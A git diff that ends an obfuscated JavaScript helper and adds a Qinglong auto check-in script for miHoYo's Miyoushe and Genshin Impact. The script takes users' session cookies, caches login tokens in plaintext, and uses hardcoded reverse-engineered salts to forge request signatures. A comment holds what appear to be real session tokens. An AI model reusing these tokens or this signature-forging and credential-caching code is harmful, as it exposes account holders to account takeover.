RegExp('('+_0x1c4801+')')[_0x19bf('0x17','IQ&&(_0x5408a4=_0x5408a4[_0x19bf('0x6c','WBVw')](RegExp['$1'],0x1==RegExp['$1'][_0x19bf('0x46','pel5')]?_0x5779e4[_0x1c4801]:('00'+_0x5779e4[_0x1c4801])[_0x19bf('0x151','aOT@')]((''+_0x5779e4[_0x1c4801])[_0x19bf('0xdd','d]lx')])));return _0x5408a4;}else{try{if(typeof JSON[_0x19bf('0xb3','lEBo')](str)==_0x19bf('0x6e','B@MK')){return!![];}}catch(_0x3d95d8){return![];}}}[_0x19bf('0xb4','0*Z6')](_0x3ec145=_0x10e0a2,_0x333d21='',_0x2e7748='',_0x9a43d9){const _0x944723=_0x38966a=>{if('efWMO'==='WXGMu'){return new Promise(function(_0x4cf9a1){setTimeout(_0x4cf9a1,n*0x3e8);});}else{if(!_0x38966a)return _0x38966a;if(_0x19bf('0x43','QS#n')==typeof _0x38966a)return this[_0x19bf('0x1cb','d]lx')]()?_0x38966a:this['isQuanX']()?{'open-url':_0x38966a}:this[_0x19bf('0x26','FpoY')]()?{'url':_0x38966a}:void 0x0;if(_0x19bf('0x157','#rxZ')==typeof _0x38966a){if(this['isLoon']()){let _0x596b32=_0x38966a[_0x19bf('0x206','WBVw')]||_0x38966a[_0x19bf('0x187','ozQg')]||_0x38966a[_0x19bf('0x10e','Z1')],_0x5df02a=_0x38966a[_0x19bf('0x231','pyiI')]||_0x38966a[_0x19bf('0x104','ozQg')];const _0x1007da={};_0x1007da['openUrl']=_0x596b32;_0x1007da[_0x19bf('0x11d','D$PB')]=_0x5df02a;return _0x1007da;}if(this[_0x19bf('0x11e','5i*!')]()){let _0x2e2e4f=_0x38966a[_0x19bf('0xe','*1fq')]||_0x38966a[_0x19bf('0x152','ZmxX')]||_0x38966a[_0x19bf('0x1f6','D$PB')],_0x3feb93=_0x38966a['media-url']||_0x38966a['mediaUrl'];const _0x439bfc={};_0x439bfc[_0x19bf('0x1a1','ab)*')]=_0x2e2e4f;_0x439bfc[_0x19bf('0x4a','jk)M')]=_0x3feb93;return _0x439bfc;}if(this['isSurge']()){let _0x262787=_0x38966a[_0x19bf('0x187','ozQg')]||_0x38966a[_0x19bf('0x143','%TZX')]||_0x38966a[_0x19bf('0x20d','tCJ5')];const _0x3d10c1={};_0x3d10c1[_0x19bf('0x212','OP5O')]=_0x262787;return _0x3d10c1;}}}};if(this[_0x19bf('0x69','&mpU')]||(this[_0x19bf('0x1a','d]lx')]()||this[_0x19bf('0xab','iGY$')]()?$notification['post'](_0x3ec145,_0x333d21,_0x2e7748,_0x944723(_0x9a43d9)):this[_0x19bf('0x22d','SJ(K')]()&&$notify(_0x3ec145,_0x333d21,_0x2e7748,_0x944723(_0x9a43d9))),!this['isMuteLog']){let _0x3cafc1=['',_0x19bf('0xbb','iGY$')];_0x3cafc1[_0x19bf('0xdb','&mpU')](_0x3ec145),_0x333d21&&_0x3cafc1[_0x19bf('0x225','SJ(K')](_0x333d21),_0x2e7748&&_0x3cafc1['push'](_0x2e7748),console[_0x19bf('0x24d','lEBo')](_0x3cafc1[_0x19bf('0x156','IHWd')]('\x0a')),this[_0x19bf('0x1e0','%TZX')]=this['logs'][_0x19bf('0x18a','0*Z6')](_0x3cafc1);}}[_0x19bf('0x102','I4&d')](..._0x2bef7a){_0x2bef7a[_0x19bf('0x1f0','(93c')]>0x0&&(this[_0x19bf('0xc','WBVw')]=[...this[_0x19bf('0xb5',')hl9')],..._0x2bef7a]),console[_0x19bf('0x1cc','pyiI')](_0x2bef7a[_0x19bf('0xfb','GH1o')](this[_0x19bf('0x12a','ozQg')]));}[_0x19bf('0x226','ab)*')](_0x1ec5c9,_0x1dc4d8){const _0x2fcfa3=!this[_0x19bf('0x1d0','dXk4')]()&&!this['isQuanX']()&&!this[_0x19bf('0x1c6','WBVw')]();_0x2fcfa3?this[_0x19bf('0x57',')hl9')]('','❗️'+this[_0x19bf('0xac','ZmxX')]+_0x19bf('0x15e','VxPL'),_0x1ec5c9[_0x19bf('0xd9','IHWd')]):this[_0x19bf('0x259','(93c')]('','❗️'+this[_0x19bf('0xf2','Z1')]+_0x19bf('0x230',')hl9'),_0x1ec5c9);}[_0x19bf('0x202','tCJ5')](_0x83b7be){return new Promise(_0x341249=>setTimeout(_0x341249,_0x83b7be));}[_0x19bf('0xb0','0*Z6')](_0xdab7c9={}){if(_0x19bf('0x219',')hl9')===_0x19bf('0x24e','8tB2')){console[_0x19bf('0x25','Z1')](''+data);msg+='\x0a'+data;}else{const _0x537363=new Date()[_0x19bf('0x1a4','Ant[')](),_0x51e715=(_0x537363-this[_0x19bf('0x5d','OP5O')])/0x3e8;this[_0x19bf('0x65','Nlhd')]('','🔔'+this[_0x19bf('0xf9','IHWd')]+_0x19bf('0xff','Ant[')+_0x51e715+'\x20秒'),this['log'](),(this['isSurge']()||this['isQuanX']()||this[_0x19bf('0x252','IHWd')]())&&$done(_0xdab7c9);}}}(_0x10e0a2,_0x4f4afa);}
diff --git a/backup/mys.js b/backup/mys.js
new file mode 100644
index 00000000..e6ef01e4
--- /dev/null
+++ b/backup/mys.js
@@ -0,0 +1,706 @@
+/**
+ * mys 米忽悠 米游社 原神签到
+ * scriptVersionNow = "0.0.4"
+ * cron 12 5 * * * mys.js
+ * 23-06-13 过渡更新V0.0.4
+ * # 青龙面板 -- 配置文件
+ * =>配置文件 export mys='cookie1&cookie2'
+ * =>环境变量 变量名mys 变量值(如下)
+ * 多账号用 @ 分割
+ * ====================================
+ * 打开https://www.miyoushe.com/ys/
+ * ALook浏览器打开登录后点击下方导航栏最下面三条杠往左滑 点击工具箱-开发者工具-cookie-拷贝
+ * 打开http://user.mihoyo.com/
+ * ALook浏览器打开登录后点击下方导航栏最下面三条杠往左滑 点击工具箱-开发者工具-cookie-拷贝
+ * 两个拷贝下来拼接到一起 拼接字符& 拼接字符& 拼接字符&
+ * 示例:
+ * cookie_token_v2=xxx; account_mid_v2=xxx; account_id_v2=xxx; ltoken_v2=xxx; ltmid_v2=xxx; ltuid_v2=xxx & login_uid=xxx; login_ticket=xxx;
+ * 必要参数 cookie_token_v2 ltoken_v2 login_ticket
+ * 二选一参数 ltmid_v2或者account_mid_v2 and account_id_v2或者ltuid_v2或者login_id
+ * 请确保上面5个参数都存在
+ */
+const $ = new Env("米游社 原神签到");
+const ckName = "mys";
+//-------------------- 一般不动变量区域 -------------------------------------
+const { log } = require("console");
+const Notify = 1; //0为关闭通知,1为打开通知,默认为1
+const notify = $.isNode() ? require("./sendNotify") : "";
+let envSplitor = ["@"]; //多账号分隔符
+let msg = "";
+let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+let userList = [];
+let userIdx = 0;
+let userCount = 0;
+let scriptVersionLatest; //最新版本
+let scriptVersionNow = "0.0.4"; //现在版本
+/////////////////////
+let jiangliArr = [];
+const fs = require('fs');
+let strShare = './Mihoyo_Account.json';//指定文件目录
+let Fileexists = fs.existsSync(strShare);//检测文件是否存在
+let TempAccount = [];
+if (Fileexists) {//如果存在
+ console.log("检测到米哈游缓存文件Mihoyo_Account.json,载入...");
+ TempAccount = fs.readFileSync(strShare, 'utf-8');
+ if (TempAccount) {
+ TempAccount = TempAccount.toString();
+ TempAccount = JSON.parse(TempAccount);
+ }
+}
+//# 米游社的版本 # Salt和Version相互对应
+const mihoyobbs_version = "2.49.1";
+//# 米游社的客户端类型 # 1为ios 2为安卓
+const mihoyobbs_Client_type = "2";
+//# 4为pc web 5为mobile web
+const mihoyobbs_Client_type_web = "5";
+//# 云原神版本
+const cloudgenshin_Version = "3.0.0";
+//# 米游社的分区列表
+const mihoyobbs_List = [
+ {
+ id: "1",
+ forumId: "1",
+ name: "崩坏3",
+ url: "https://bbs.mihoyo.com/bh3/",
+ }, {
+ id: "2",
+ forumId: "26",
+ name: "原神",
+ url: "https://bbs.mihoyo.com/ys/",
+ }, {
+ id: "3",
+ forumId: "30",
+ name: "崩坏2",
+ url: "https://bbs.mihoyo.com/bh2/",
+ }, {
+ id: "4",
+ forumId: "37",
+ name: "未定事件簿",
+ url: "https://bbs.mihoyo.com/wd/",
+ }, {
+ id: "5",
+ forumId: "34",
+ name: "大别野",
+ url: "https://bbs.mihoyo.com/dby/",
+ }, {
+ id: "6",
+ forumId: "52",
+ name: "崩坏:星穹铁道",
+ url: "https://bbs.mihoyo.com/sr/",
+ }, {
+ id: "8",
+ forumId: "57",
+ name: "绝区零",
+ url: "https://bbs.mihoyo.com/zzz/",
+ },
+];
+
+const game_id2name = {
+ bh2_cn: "崩坏2",
+ bh3_cn: "崩坏3",
+ nxx_cn: "未定事件簿",
+ hk4e_cn: "原神",
+ hkrpg_cn: "崩坏: 星穹铁道",
+};
+
+const game_id2config = {
+ bh2_cn: "honkai2",
+ bh3_cn: "honkai3rd",
+ nxx_cn: "tears_of_themis",
+ hk4e_cn: "genshin",
+ hkrpg_cn: "honkaisr",
+};
+
+//# 游戏签到的请求头
+const sign_headers = {
+ Accept: "application/json, text/plain, */*",
+ DS: "",
+ "x-rpc-channel": "miyousheluodi",
+ Origin: "https://webstatic.mihoyo.com",
+ "x-rpc-app_version": mihoyobbs_version,
+ "User-Agent":
+ `Mozilla/5.0 (Linux; Android 12; Unspecified Device) AppleWebKit/537.36 (KHTML, like Gecko) ` +
+ `Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36 miHoYoBBS/${mihoyobbs_version}`,
+ "x-rpc-client_type": mihoyobbs_Client_type_web,
+ Referer: "",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,en-US;q=0.8",
+ "X-Requested-With": "com.mihoyo.hyperion",
+ Cookie: "",
+ "x-rpc-device_id": "",
+};
+
+//# 通用设置
+const bbs_api = "https://bbs-api.mihoyo.com";
+const web_api = "https://api-takumi.mihoyo.com";
+const account_Info_url = web_api + "/binding/api/getUserGameRolesByCookie?game_biz=";
+const act_id_list = {
+ genshin_Act_id: "e202009291139501", //# 原神自动签到相关的设置
+ honkai_sr_Act_id: "e202304121516551", //# 星穹铁道自动签到相关设置
+ honkai2_Act_id: "e202203291431091", //# 崩坏2自动签到相关的相关设置
+ honkai3rd_Act_id: "e202207181446311", //# 崩坏3自动签到相关的设置
+ tearsofthemis_Act_id: "e202202251749321", //# 未定事件簿自动签到相关设置
+}
+//# 米游社的API列表
+const bbs_api_list = {
+ bbs_cookie_url: "https://webapi.account.mihoyo.com/Api/cookie_accountinfo_by_loginticket?login_ticket={}",
+ bbs_cookie_url2: web_api + "/auth/api/getMultiTokenByLoginTicket?login_ticket={}&token_types=3&uid={}",
+ bbs_tasks_list: bbs_api + "/apihub/sapi/getUserMissionsState", //# 获取任务列表
+ bbs_sign_url: bbs_api + "/apihub/app/api/signIn", //# post
+ bbs_post_list_url: bbs_api + "/post/api/getForumPostList?forum_id={}&is_good=false&is_hot=false&page_size=20&sort_type=1",
+ bbs_detail_url: bbs_api + "/post/api/getPostFull?post_id={}",
+ bbs_share_url: bbs_api + "/apihub/api/getShareConf?entity_id={}&entity_type=1",
+ bbs_like_url: bbs_api + "/apihub/sapi/upvotePost", //# post json
+ bbs_get_captcha: bbs_api + "/misc/api/createVerification?is_high=true",
+ bbs_captcha_verify: bbs_api + "/misc/api/verifyVerification",
+};
+//# 通用游戏签到API
+const any_checkin_rewards = web_api + "/event/luna/home?lang=zh-cn&act_id={}";
+const any_is_signurl = web_api + "/event/luna/info?lang=zh-cn&act_id={}®ion={}&uid={}";
+const any_sign_url = web_api + "/event/luna/sign";
+//# 原神相关API
+const genshin_checkin_rewards = `${web_api}/event/bbs_sign_reward/home?act_id=${act_id_list['genshin_Act_id']}`;
+const genshin_Is_signurl = web_api + "/event/bbs_sign_reward/info?act_id={}®ion={}&uid={}";
+const genshin_Signurl = web_api + "/event/bbs_sign_reward/sign";
+//# 云原神相关api
+const cloud_genshin_Api = "https://api-cloudgame.mihoyo.com";
+const cloud_genshin_sgin = cloud_genshin_Api + "/hk4e_cg_cn/wallet/wallet/get";
+//# 接下来是国际服的内容
+const os_lang = "zh-cn";
+const os_referer_url = "https://act.hoyolab.com/";
+
+// SaltConfig 对象,存储生成 Headers 所用的 salt 值
+const SaltConfig = {
+ //# 米游社的Salt
+ mihoyobbs_salt: "egBrFMO1BPBG0UX5XOuuwMRLZKwTVKRV",
+ mihoyobbs_salt_x4: "xV8v4Qu54lUKrEYFZkJhB8cuOh9Asafs",
+ mihoyobbs_salt_x6: "t0qEgfub6cvueAPgR5m9aQWWVciEer7v",
+ mihoyobbs_salt_web: "DG8lqMyc9gquwAUFc7zBS62ijQRX9XF7",
+};
+
+
+
+//---------------------------------------------------------
+
+async function start() {
+ //await getVersion("smallfawn/QLScriptPublic/main/mys.js");
+ log(`todoList:此次版本更新为过渡版本,以后将增加米游币的任务`)
+ log(`tips:更新双变量模式,两个网址获取的两个cookie用&分割`)
+ log(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`);
+ //await getNotice();
+ let taskall;
+ log("\n==========> 获取当月奖励详情 <==========\n");
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ if (user.index == 1) {
+ taskall.push(await user.getAwards(act_id_list['genshin_Act_id']))//原神奖励列表
+ }
+ taskall.push(await user.main());
+ await $.wait(1000);
+ await Promise.all(taskall);
+ } else {
+ log(`账号[${user.index}] cookie参数不全,停止执行!所有任务`)
+ }
+ }
+ await Promise.all(taskall);
+
+}
+//新接口APP签到COOKIE
+//ltuid=296874595; login_ticket=iMBL8bwpaiCiKqjzhbmzLBp9xL5fuGn8uDF0k3Y1; account_id=296874595; ltoken=UJhY0UQQNt0kwagQNGXTZu73WfIjUHLviHPxiliV; cookie_token=kT4pb3rkmMiK0Biaec9KlfKu1zFop2C0Dcv0hCpL;
+//ltoken通过verifyToken接口获得 Cookie必须含有account_id和cookie_token 返回Set-Cookie 中包含 ltoken
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.cookieStr = str.split("&")[0];
+ this.cookieStr_login = str.split("&")[1];
+ this.cookieStr_login = this.cookieStr_login.replace(/\s/g, '');
+ this.cookieStr_login += ";"
+ this.ckStatus = true;
+
+ this.cookie_token_v2 = "";
+ this.account_mid_v2 = "";
+ this.account_id_v2 = "";
+ this.ltoken_v2 = "";
+ this.ltmid_v2 = "";
+ this.ltuid_v2 = "";
+ this.login_uid = "";
+ this.login_ticket = "";
+
+ this.stuid = "";
+ this.stoken = "";
+ this.device_id = "";
+
+ this.region = "";
+ this.uid_ys = "";
+ this.isLoginApp = false
+ }
+ async getCookie() {
+ this.cookieStr = this.cookieStr.replace(/\s/g, '');
+ //log(this.cookieStr)
+ const cookieMustValues1 = ['cookie_token_v2', 'ltoken_v2'];
+ for (const cookieName of cookieMustValues1) {
+ const match = new RegExp(`${cookieName}=([^;]+)`).exec(this.cookieStr);
+ if (match !== null) {
+ this[cookieName] = match[1];
+ } else {
+ log(`账号[${this.index}] ${cookieName} cookie参数不全,停止执行!所有任务`)
+ this.ckStatus = false
+ return
+ }
+ }
+ const cookieMustValues2 = ['account_mid_v2', 'account_id_v2', 'ltmid_v2', 'ltuid_v2'];
+ for (const cookieName of cookieMustValues2) {
+ const match = new RegExp(`${cookieName}=([^;]+)`).exec(this.cookieStr);
+ if (match !== null) {
+ this[cookieName] = match[1];
+ } else {
+ this[cookieName] = match;
+ }
+ }
+ /*if (/cookie_token_v2=([^;]+)/.exec(this.cookieStr) !== null) {
+ this.cookie_token_v2 = /cookie_token_v2=([^;]+)/.exec(this.cookieStr)[1];
+ }
+ if (/account_mid_v2=([^;]+)/.exec(this.cookieStr) !== null) {
+ this.account_mid_v2 = /account_mid_v2=([^;]+)/.exec(this.cookieStr)[1];
+ }
+
+ }
+ this.cookie_token_v2 = /cookie_token_v2=([^;]+)/.exec(this.cookieStr)[1];
+ this.account_mid_v2 = /account_mid_v2=([^;]+)/.exec(this.cookieStr)[1];*/
+ if (/login_ticket=([^;]+)/.exec(this.cookieStr_login)) {
+ this.login_ticket = /login_ticket=([^;]+)/.exec(this.cookieStr_login)[1]
+ this.isLoginApp = true;
+ } else {
+ this.login_ticket == "";
+ this.isLoginApp = false;
+ }
+ //this.stuid = "";
+ //this.stoken = "";
+ this.setValues('UID')//设置UID和MID
+ this.setValues('MID')//设置UID和MID
+ this.checkCookie()
+ if (this.ckStatus) {
+ await this.GetCollect()
+ }
+ //使用获取到的Cookie
+ if (this.isLoginApp) {
+ this.cookieAll = `cookie_token_v2=${this.cookie_token_v2}; account_mid_v2=${this.account_mid_v2}; account_id_v2=${this.account_id_v2}; ltoken_v2=${this.ltoken_v2}; ltmid_v2=${this.ltmid_v2}; ltuid_v2=${this.ltuid_v2}; login_uid=${this.login_uid}; login_ticket=${this.login_ticket};`
+ } else {
+ this.cookieAll = `cookie_token_v2=${this.cookie_token_v2}; account_mid_v2=${this.account_mid_v2}; account_id_v2=${this.account_id_v2}; ltoken_v2=${this.ltoken_v2}; ltmid_v2=${this.ltmid_v2}; ltuid_v2=${this.ltuid_v2};`
+ }
+ }
+ checkCookie() {
+ if (this.cookie_token_v2 && this.account_mid_v2 && this.account_id_v2 && this.ltoken_v2 && this.ltmid_v2 && this.ltuid_v2 && this.login_uid) {
+ this.ckStatus = true;
+ } else {
+ this.ckStatus = false;
+ log(`缺少参数 设置false`)
+ }
+ }
+ setValues(str) {
+ if (str == 'UID') {
+ this.account_id_v2 = this.account_id_v2 || this.ltuid_v2 || this.login_uid;
+ this.ltuid_v2 = this.ltuid_v2 || this.account_id_v2 || this.login_uid;
+ //log(`this.ltuid_v2` + this.ltuid_v2)
+ //log(`this.account_id_v2` + this.account_id_v2)
+
+ this.login_uid = this.login_uid || this.account_id_v2 || this.ltuid_v2;
+ //log(`this.login_uid` + this.login_uid)
+ } else if (str == 'MID') {
+ this.account_mid_v2 = this.account_mid_v2 || this.ltmid_v2
+ this.ltmid_v2 = this.ltmid_v2 || this.account_mid_v2
+ }
+ }
+ async GetCollect() {
+ let boolneedUpdate = false;
+ let isIn = false;
+ if (TempAccount) {
+ for (let j = 0; j < TempAccount.length; j++) {
+ if (TempAccount[j]["uid"] == this.account_id_v2 || TempAccount[j]["uid"] == this.ltuid_v2 || TempAccount[j]["uid"] == this.login_uid) {
+ isIn = true;
+ this.cookie_token_v2 = TempAccount[j]['cookie_token_v2'];
+ this.account_mid_v2 = TempAccount[j]['mid'];
+ this.account_id_v2 = TempAccount[j]['uid'];
+ this.ltoken_v2 = TempAccount[j]['ltoken_v2'];
+ this.ltmid_v2 = TempAccount[j]['mid'];
+ this.ltuid_v2 = TempAccount[j]['uid'];
+ this.login_uid = TempAccount[j]['uid'];
+ this.login_ticket = TempAccount[j]['login_ticket'];
+ this.stuid = TempAccount[j]['stuid']
+ this.stoken = TempAccount[j]['stoken'];
+ this.device_id = TempAccount[j]['device_id'];
+ }
+ }
+ }
+ if (!isIn) {
+ console.log(`账号[${this.index}] 该账号无缓存,尝试联网获取stoken.....`);
+ if (this.isLoginApp) {
+ await this.task_login();
+ } else {
+ console.log(`账号[${this.index}] 缺少login_ticket参数,不执行米游币任务`);
+ }
+ if (this.stoken == "" || this.stoken !== "") {
+ var tempAddCooKie = {};
+ tempAddCooKie = {
+ "uid": this.account_id_v2,
+ "mid": this.account_mid_v2,
+ "cookie_token_v2": this.cookie_token_v2,
+ "ltoken_v2": this.ltoken_v2,
+ "login_ticket": this.login_ticket,
+ "stoken": this.stoken,
+ "device_id": getUUID()
+ };
+ TempAccount.push(tempAddCooKie);
+ //标识,需要更新缓存文件
+ boolneedUpdate = true;
+ } else {
+ boolneedUpdate = true
+ }
+ }
+ if (boolneedUpdate) {
+ var str = JSON.stringify(TempAccount, null, 2);
+ //var str = JSON.stringify(TempAccount);
+ //log(TempAccount)
+ fs.writeFile(strShare, str, function (err) {
+ if (err) {
+ console.log(err);
+ console.log("\n【缓存文件Mihoyo_Account.json更新失败!】\n");
+ } else {
+ console.log("\n【缓存文件Mihoyo_Account.json更新成功!】\n");
+ }
+ })
+ }
+ }
+ async getHeaders() {
+ await this.GetCollect()
+ const headers = sign_headers;
+ headers['Cookie'] = this.cookieAll;
+ headers['DS'] = this.getDS(true)
+ headers['x-rpc-device_id'] = this.device_id//getUUID();
+ headers['User-Agent'] = `Mozilla/5.0 (Linux; Android 12; Unspecified Device) AppleWebKit/537.36 (KHTML, like Gecko) ` +
+ `Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36 miHoYoBBS/${mihoyobbs_version}`
+ return headers;
+ }
+ //# 获取请求Header里的DS 当web为true则生成网页端的DS
+ getDS(web) {
+ let salt;
+ if (web) {
+ salt = SaltConfig.mihoyobbs_salt_web;
+ } else {
+ salt = SaltConfig.mihoyobbs_salt;
+ }
+ const timestamp = Math.floor(Date.now() / 1e3);
+ const random = Math.random().toString(36).slice(-6);
+ const result = MD5_Encrypt(`salt=${salt}&t=${timestamp}&r=${random}`);
+ return `${timestamp},${random},${result}`;
+ }
+ /**
+ * # 获取请求Header里的DS(版本2) 这个版本ds之前见到都是查询接口里的
+ * @param {*} q
+ * @param {*} b
+ * @returns
+ */
+ getDS2(q, b) {
+ const salt = SaltConfig.mihoyobbs_salt_x6;
+ const timestamp = Math.floor(Date.now() / 1e3);
+ const random = Math.floor(Math.random() * (200000 - 100001 + 1) + 100001).toString();
+ const add = `&b=${b}&q=${q}`;
+ const result = MD5_Encrypt(`salt=${salt}&t=${timestamp}&r=${random}${add}`);
+ return `${timestamp},${random},${result}`;
+ }
+
+ async getAwards(act_id) {
+ let options = {
+ url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/home?act_id=${act_id}`,
+ headers: {}
+ }
+ let result = await httpRequest(options)
+ for (let i in result.data.awards) {
+ jiangliArr.push(`${result.data.awards[i].name} * ${result.data.awards[i].cnt}`);
+ }
+ DoubleLog(jiangliArr);
+ }
+ async main() {
+ try {
+ await this.getCookie()//获取stuid以及stoken 且保存 以JSON格式 mihoyoConfig.json{存放 stuid为键 其他为值}
+ if (this.ckStatus) {
+ await this.get_info_ys()
+ await this.get_sign_info(act_id_list['genshin_Act_id'])
+ }
+
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_login() {//获取米哈游的APP stuid以及stoken
+ try {
+ let options, result
+ options = {
+ url: `https://webapi.account.mihoyo.com/Api/cookie_accountinfo_by_loginticket?login_ticket=${this.login_ticket}`,
+ headers: {}
+ }, result = await httpRequest(options);
+ //log(options)
+ //log(result)
+ if (result.data.msg == '成功') {
+ this.stuid = result.data.cookie_info.account_id
+ options = {
+ url: `https://api-takumi.mihoyo.com/auth/api/getMultiTokenByLoginTicket?login_ticket=${this.login_ticket}&token_types=3&uid=${this.stuid}`,
+ headers: {}
+ }, result = await httpRequest(options);
+ if (result.message == 'OK') {
+ this.stoken = result.data.list[0].token
+ //log(this.stoken)
+ //log(result)
+ //DoubleLog('保存STUID和STOKEN success')
+ }
+ } else {
+ DoubleLog(`账号[${this.index}] login_ticket已失效`);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async get_info_ys() {
+ let headers = await this.getHeaders()
+ try {
+ let options = {
+ url: `https://api-takumi.mihoyo.com/binding/api/getUserGameRolesByCookie?game_biz=hk4e_cn`,
+ headers: headers,
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.retcode == 0) {
+ //log(`账号[${this.index}] 获取原神信息成功`);
+ //let game_biz = result.data.list[0].game_biz;
+ let region = result.data.list[0].region;
+ let game_uid = result.data.list[0].game_uid;
+ let nickname = result.data.list[0].nickname;
+ let region_name = result.data.list[0].region_name;
+ this.region = region;
+ this.uid_ys = game_uid;
+ //log(game_biz, region, game_uid, nickname, region_name);
+ DoubleLog(`账号[${this.index}] 游戏昵称${nickname},${region_name}`);
+ } else {
+ DoubleLog(`账号[${this.index}] 获取原神信息:失败 ❌ ,原因未知!`);
+ log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ /**
+ * 签到信息
+ */
+ async get_sign_info(act_id) {
+ let tmpHeaders = await this.getHeaders()
+ tmpHeaders['Referer'] = `https://webstatic.mihoyo.com/bbs/event/signin-ys/index.html?bbs_auth_required=true&act_id=${act_id}&utm_source=bbs&utm_medium=mys&utm_campaign=icon`
+ try {
+ let options = {
+ url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/info?act_id=${act_id}®ion=${this.region}&uid=${this.uid_ys}`,
+ headers: tmpHeaders
+ }, result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.retcode == 0) {
+ //DoubleLog(`账号[${this.index}] 获取签到信息成功`);
+ DoubleLog(`账号[${this.index}] 签到天数${result.data.total_sign_day},今天${result.data.today},是否签到${result.data.is_sign}`);
+ if (result.data.is_sign == false) {
+ DoubleLog(`账号[${this.index}] 执行签到`);
+ await this.task_sign(act_id);
+ }
+ } else {
+ DoubleLog(`账号[${this.index}] 获取签到信息:失败 ❌ ,原因未知!`);
+ log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_sign(act_id) {
+ let tmpHeaders = await this.getHeaders()
+ tmpHeaders['Referer'] = `https://webstatic.mihoyo.com/bbs/event/signin-ys/index.html?bbs_auth_required=true&act_id=${act_id}&utm_source=bbs&utm_medium=mys&utm_campaign=icon`
+ try {
+ let options = {
+ url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/sign`,
+ headers: tmpHeaders,
+ body: $.toStr({ act_id: act_id, region: this.region, uid: this.uid_ys, })
+ }, result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.retcode == 0 && 'gt' in result.data) {
+ DoubleLog(`账号[${this.index}] 签到:失败,原因有点选验证请手动签到🎉`);
+ } else if (result.retcode == 0 && !('gt' in result.data)) {
+ DoubleLog(`账号[${this.index}] 签到:${result.message} ❌ 了呢,原因未知!`);
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+ await SendMsg(msg);
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+// 变量检查与处理
+async function checkEnv() {
+ if (userCookie) {
+ // console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ userCount = userList.length;
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userCount}个账号`), true; //true == !0
+}
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, method) {
+ method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get";
+ return new Promise((resolve) => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${method}请求失败`);
+ $.logErr(err);
+ } else {
+ if (data) {
+ typeof JSON.parse(data) == "object" ? (data = JSON.parse(data)) : (data = data);
+ resolve(data);
+ } else {
+ console.log(`请求api返回数据为空,请检查自身原因`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+
+function getUUID() {
+ return Array.from({ length: 32 }, () => Math.floor(Math.random() * 16).toString(16)).map((value, index) => [7, 11, 15, 19].includes(index) ? `-${value}` : value).join("");
+}
+/**
+ * 获取远程版本
+ */
+function getVersion(scriptUrl, timeout = 3 * 1000) {
+ return new Promise((resolve) => {
+ let options = {
+ url: `https://ghproxy.com/https://raw.githubusercontent.com/${scriptUrl}`,
+ };
+ $.get(
+ options,
+ async (err, resp, data) => {
+ try {
+ let regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/;
+ let match = data.match(regex);
+ scriptVersionLatest = match ? match[2] : "";
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ },
+ timeout
+ );
+ });
+}
+
+async function getNotice() {
+ try {
+ let options = {
+ url: `https://ghproxy.com/https://raw.githubusercontent.com/smallfawn/Note/main/Notice.json`,
+ headers: { "User-Agent": "" },
+ },
+ result = await httpRequest(options);
+ if (!result || !("notice" in result)) {
+ options.url = `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`;
+ result = await httpRequest(options);
+ }
+ if (result && "notice" in result) {
+ DoubleLog(`${result.notice}`);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+}
+async function hitokoto(timeout = 3 * 1000) {
+ // 随机一言
+ return new Promise((resolve) => {
+ try {
+ let options = {
+ url: "https://v1.hitokoto.cn/",
+ headers: {},
+ }; //, //result = await httpRequest(options);
+ $.get(
+ options,
+ async (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ resolve(data.hitokoto);
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ },
+ timeout
+ );
+ //return result.hitokoto
+ } catch (error) {
+ console.log(error);
+ }
+ });
+}
+// 双平台log输出
+function DoubleLog(data) {
+ if ($.isNode()) {
+ if (data) {
+ console.log(`${data}`);
+ msg += `\n${data}`;
+ }
+ } else {
+ console.log(`${data}`);
+ msg += `\n${data}`;
+ }
+}
+// 发送消息
+async function SendMsg(message) {
+ if (!message) return;
+ if (Notify > 0) {
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message);
+ } else {
+ $.msg($.name, "", message);
+ }
+ } else {
+ console.log(message);
+ }
+}
+
+// 完整 Env
